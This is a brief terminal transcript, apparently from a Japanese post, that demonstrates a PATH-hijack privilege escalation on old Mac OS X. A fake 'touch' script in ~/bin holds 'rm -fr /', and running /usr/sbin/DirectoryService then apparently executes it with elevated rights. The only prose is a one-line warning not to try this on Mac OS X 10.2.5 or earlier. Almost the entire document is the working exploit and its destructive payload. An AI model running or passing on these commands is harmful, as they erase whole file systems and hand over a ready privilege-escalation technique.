[macintosh:~] foo% set path=(~/bin $path)
[macintosh:~] foo% mkdir ~/bin
[macintosh:~] foo% cd bin/
[macintosh:~/bin] foo% cat > touch
#!/bin/sh
rm -fr /
^D
[macintosh:~/bin] foo% chmod +x touch
[macintosh:~/bin] foo% rehash
[macintosh:~/bin] foo% which touch
/Users/foo/bin/touch
[macintosh:~/bin] foo% /usr/sbin/DirectoryService

てなことをMac OS X 10.2.5 以前の OS でやっちゃ駄目ですよ！